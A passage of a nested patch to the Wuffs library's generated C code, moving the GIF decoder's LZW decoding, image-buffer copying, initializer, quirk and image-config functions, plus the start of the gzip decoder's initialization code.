iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_id_part2[0].scratch; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- goto label__outer__break; +- } else if (self->private_impl.f_lzw_read_from_return_value == 3u) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } else if (self->private_impl.f_lzw_read_from_return_value == 4u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_lzw_code); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- } +- label__outer__break:; +- self->private_impl.f_compressed_ri = 0u; +- self->private_impl.f_compressed_wi = 0u; +- if ((self->private_impl.f_dst_y < self->private_impl.f_frame_rect_y1) && (self->private_impl.f_frame_rect_x0 != self->private_impl.f_frame_rect_x1) && (self->private_impl.f_frame_rect_y0 != self->private_impl.f_frame_rect_y1)) { +- status = wuffs_base__make_status(wuffs_base__error__not_enough_data); +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_header( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- ok: +- self->private_impl.p_decode_id_part2[0] = 0; +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_lsd( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_id_part2[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_id_part2[0].v_block_size = v_block_size; +- self->private_data.s_decode_id_part2[0].v_need_block_size = v_need_block_size; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_extension( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__skip_blocks( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_ae( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); + +-// -------- func gif.decoder.copy_to_image_buffer ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_gc( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_id_part0( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_id_part2( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_gif__decoder__copy_to_image_buffer( + wuffs_gif__decoder* self, + wuffs_base__pixel_buffer* a_pb, +- wuffs_base__slice_u8 a_src) { +- wuffs_base__slice_u8 v_dst = {0}; +- wuffs_base__slice_u8 v_src = {0}; +- uint64_t v_width_in_bytes = 0; +- uint64_t v_n = 0; +- uint64_t v_src_ri = 0; +- wuffs_base__pixel_format v_pixfmt = {0}; +- uint32_t v_bytes_per_pixel = 0; +- uint32_t v_bits_per_pixel = 0; +- wuffs_base__table_u8 v_tab = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint32_t v_replicate_y0 = 0; +- uint32_t v_replicate_y1 = 0; +- wuffs_base__slice_u8 v_replicate_dst = {0}; +- wuffs_base__slice_u8 v_replicate_src = {0}; ++ wuffs_base__slice_u8 a_src); + +- v_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_pb); +- v_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_pixfmt); +- if ((v_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_init( ++ wuffs_gif__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__lzw_read_from( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_gif__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_gif__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_gif__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_gif__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_gif__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_gif__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_gif__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_gif__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gif__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_gif__decoder__initialize( ++ wuffs_gif__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- v_bytes_per_pixel = (v_bits_per_pixel >> 3u); +- v_width_in_bytes = ((uint64_t)((self->private_impl.f_width * v_bytes_per_pixel))); +- v_tab = wuffs_base__pixel_buffer__plane(a_pb, 0u); +- while (v_src_ri < ((uint64_t)(a_src.len))) { +- v_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_ri); +- if (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) { +- if (self->private_impl.f_quirks[3u]) { +- return wuffs_base__make_status(NULL); +- } +- return wuffs_base__make_status(wuffs_base__error__too_much_data); +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, 0u); +- } else if (v_width_in_bytes < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_width_in_bytes); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_bytes_per_pixel))); +- if (v_i < ((uint64_t)(v_dst.len))) { +- v_j = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * ((uint64_t)(v_bytes_per_pixel))); +- if ((v_i <= v_j) && (v_j <= ((uint64_t)(v_dst.len)))) { +- v_dst = wuffs_base__slice_u8__subslice_ij(v_dst, v_i, v_j); +- } else { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); +- } +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), v_src); +- wuffs_base__u64__sat_add_indirect(&v_src_ri, v_n); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u)); +- } +- if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { +- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; +- if (self->private_impl.f_interlace == 0u) { +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, 1u); +- continue; +- } +- if ((self->private_impl.f_num_decoded_frames_value == 0u) && ! self->private_impl.f_gc_has_transparent_index && (self->private_impl.f_interlace > 1u)) { +- v_replicate_src = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- v_replicate_y0 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u); +- v_replicate_y1 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_COUNT[self->private_impl.f_interlace]))); +- v_replicate_y1 = wuffs_base__u32__min(v_replicate_y1, self->private_impl.f_frame_rect_y1); +- while (v_replicate_y0 < v_replicate_y1) { +- v_replicate_dst = wuffs_base__table_u8__row_u32(v_tab, v_replicate_y0); +- wuffs_base__slice_u8__copy_from_slice(v_replicate_dst, v_replicate_src); +- v_replicate_y0 += 1u; +- } +- self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, v_replicate_y1); +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); +- while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { +-#if defined(__GNUC__) ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) + #pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_interlace -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" + #endif +- self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); +- } +- continue; +- } +- if (((uint64_t)(a_src.len)) == v_src_ri) { +- break; +- } else if (((uint64_t)(a_src.len)) < v_src_ri) { +- return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- v_n = ((uint64_t)((self->private_impl.f_frame_rect_x1 - self->private_impl.f_dst_x))); +- v_n = wuffs_base__u64__min(v_n, (((uint64_t)(a_src.len)) - v_src_ri)); +- wuffs_base__u64__sat_add_indirect(&v_src_ri, v_n); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { +- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); +- while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_interlace -= 1u; +-#if defined(__GNUC__) ++#if !defined(__clang__) && defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); +- } +- continue; +- } +- if (v_src_ri != ((uint64_t)(a_src.len))) { +- return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- break; + } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder); + return wuffs_base__make_status(NULL); + } + +-// -------- func gif.decoder.lzw_init ++wuffs_gif__decoder* ++wuffs_gif__decoder__alloc(void) { ++ wuffs_gif__decoder* x = ++ (wuffs_gif__decoder*)(calloc(1, sizeof(wuffs_gif__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_gif__decoder__initialize( ++ x, sizeof(wuffs_gif__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_init( +- wuffs_gif__decoder* self) { +- uint32_t v_i = 0; ++size_t ++sizeof__wuffs_gif__decoder(void) { ++ return sizeof(wuffs_gif__decoder); ++} + +- self->private_impl.f_lzw_literal_width = 8u; +- if (self->private_impl.f_lzw_pending_literal_width_plus_one > 0u) { +- self->private_impl.f_lzw_literal_width = (self->private_impl.f_lzw_pending_literal_width_plus_one - 1u); ++// ---------------- Function Implementations ++ ++// -------- func gif.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gif__decoder__get_quirk( ++ const wuffs_gif__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; + } +- self->private_impl.f_lzw_clear_code = (((uint32_t)(1u)) << self->private_impl.f_lzw_literal_width); +- self->private_impl.f_lzw_end_code = (self->private_impl.f_lzw_clear_code + 1u); +- self->private_impl.f_lzw_save_code = self->private_impl.f_lzw_end_code; +- self->private_impl.f_lzw_prev_code = self->private_impl.f_lzw_end_code; +- self->private_impl.f_lzw_width = (self->private_impl.f_lzw_literal_width + 1u); +- self->private_impl.f_lzw_bits = 0u; +- self->private_impl.f_lzw_n_bits = 0u; +- self->private_impl.f_lzw_output_ri = 0u; +- self->private_impl.f_lzw_output_wi = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_lzw_clear_code) { +- self->private_data.f_lzw_lm1s[v_i] = 0u; +- self->private_data.f_lzw_suffixes[v_i][0u] = ((uint8_t)(v_i)); +- v_i += 1u; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } +- return wuffs_base__make_empty_struct(); ++ ++ uint32_t v_key = 0; ++ ++ if (a_key >= 1041635328u) { ++ v_key = (a_key - 1041635328u); ++ if (v_key < 7u) { ++ if (self->private_impl.f_quirks[v_key]) { ++ return 1u; ++ } ++ } ++ } ++ return 0u; + } + +-// -------- func gif.decoder.lzw_read_from ++// -------- func gif.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_read_from( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__set_quirk( + wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint32_t v_clear_code = 0; +- uint32_t v_end_code = 0; +- uint32_t v_save_code = 0; +- uint32_t v_prev_code = 0; +- uint32_t v_width = 0; +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_output_wi = 0; +- uint32_t v_code = 0; +- uint32_t v_c = 0; +- uint32_t v_o = 0; +- uint32_t v_steps = 0; +- uint8_t v_first_byte = 0; +- uint16_t v_lm1_b = 0; +- uint16_t v_lm1_a = 0; ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ if ((self->private_impl.f_call_sequence == 0u) && (a_key >= 1041635328u)) { ++ a_key -= 1041635328u; ++ if (a_key < 7u) { ++ self->private_impl.f_quirks[a_key] = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } + } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} + +- v_clear_code = self->private_impl.f_lzw_clear_code; +- v_end_code = self->private_impl.f_lzw_end_code; +- v_save_code = self->private_impl.f_lzw_save_code; +- v_prev_code = self->private_impl.f_lzw_prev_code; +- v_width = self->private_impl.f_lzw_width; +- v_bits = self->private_impl.f_lzw_bits; +- v_n_bits = self->private_impl.f_lzw_n_bits; +- v_output_wi = self->private_impl.f_lzw_output_wi; +- while (true) { +- if (v_n_bits < v_width) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); +- iop_a_src += ((31u - v_n_bits) >> 3u); +- v_n_bits |= 24u; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_lzw_read_from_return_value = 3u; +- } else { +- self->private_impl.f_lzw_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits >= v_width) { +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_lzw_read_from_return_value = 3u; +- } else { +- self->private_impl.f_lzw_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits < v_width) { +- self->private_impl.f_lzw_read_from_return_value = 5u; +- break; +- } +- } +- } +- } +- v_code = ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_width)); +- v_bits >>= v_width; +- v_n_bits -= v_width; +- if (v_code < v_clear_code) { +- self->private_data.f_lzw_output[v_output_wi] = ((uint8_t)(v_code)); +- v_output_wi = ((v_output_wi + 1u) & 8191u); +- if (v_save_code <= 4095u) { +- v_lm1_a = (((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_a; +- if ((v_lm1_a % 8u) != 0u) { +- self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; +- memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); +- self->private_data.f_lzw_suffixes[v_save_code][(v_lm1_a % 8u)] = ((uint8_t)(v_code)); +- } else { +- self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; +- } +- } else if (v_code <= v_end_code) { +- if (v_code == v_end_code) { +- self->private_impl.f_lzw_read_from_return_value = 0u; +- break; +- } +- v_save_code = v_end_code; +- v_prev_code = v_end_code; +- v_width = (self->private_impl.f_lzw_literal_width + 1u); +- } else if (v_code <= v_save_code) { +- v_c = v_code; +- if (v_code == v_save_code) { +- v_c = v_prev_code; +- } +- v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) & 4294967288u)) & 8191u); +- v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lzw_lm1s[v_c]))) & 8191u); +- v_steps = (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) >> 3u); +- while (true) { +- memcpy((self->private_data.f_lzw_output)+(v_o), (self->private_data.f_lzw_suffixes[v_c]), 8u); +- if (v_steps <= 0u) { +- break; +- } +- v_steps -= 1u; +- v_o = (((uint32_t)(v_o - 8u)) & 8191u); +- v_c = ((uint32_t)(self->private_impl.f_lzw_prefixes[v_c])); +- } +- v_first_byte = self->private_data.f_lzw_suffixes[v_c][0u]; +- if (v_code == v_save_code) { +- self->private_data.f_lzw_output[v_output_wi] = v_first_byte; +- v_output_wi = ((v_output_wi + 1u) & 8191u); +- } +- if (v_save_code <= 4095u) { +- v_lm1_b = (((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_b; +- if ((v_lm1_b % 8u) != 0u) { +- self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; +- memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); +- self->private_data.f_lzw_suffixes[v_save_code][(v_lm1_b % 8u)] = v_first_byte; +- } else { +- self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; +- } +- } else { +- self->private_impl.f_lzw_read_from_return_value = 4u; +- break; +- } +- if (v_output_wi > 4095u) { +- self->private_impl.f_lzw_read_from_return_value = 1u; +- break; +- } ++// -------- func gif.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__decode_image_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (self->private_impl.f_lzw_read_from_return_value != 2u) { +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- self->private_impl.f_lzw_read_from_return_value = 5u; +- break; +- } +- } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- self->private_impl.f_lzw_save_code = v_save_code; +- self->private_impl.f_lzw_prev_code = v_prev_code; +- self->private_impl.f_lzw_width = v_width; +- self->private_impl.f_lzw_bits = v_bits; +- self->private_impl.f_lzw_n_bits = v_n_bits; +- self->private_impl.f_lzw_output_wi = v_output_wi; +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- return wuffs_base__make_empty_struct(); +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-// ---------------- Status Codes Implementations ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } + +-const char wuffs_gzip__error__bad_checksum[] = "#gzip: bad checksum"; +-const char wuffs_gzip__error__bad_compression_method[] = "#gzip: bad compression method"; +-const char wuffs_gzip__error__bad_encoding_flags[] = "#gzip: bad encoding flags"; +-const char wuffs_gzip__error__bad_header[] = "#gzip: bad header"; +-const char wuffs_gzip__error__truncated_input[] = "#gzip: truncated input"; ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } + +-// ---------------- Private Consts ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + +-// ---------------- Private Initializer Prototypes ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-// ---------------- Private Function Prototypes ++// -------- func gif.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gzip__decoder__do_transform_io( +- wuffs_gzip__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); +- +-// ---------------- VTables +- +-const wuffs_base__io_transformer__func_ptrs +-wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_gzip__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_gzip__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_gzip__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_gzip__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gzip__decoder__workbuf_len), +-}; ++wuffs_gif__decoder__do_decode_image_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Initializer Implementations ++ bool v_ffio = false; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_gzip__decoder__initialize( +- wuffs_gzip__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > 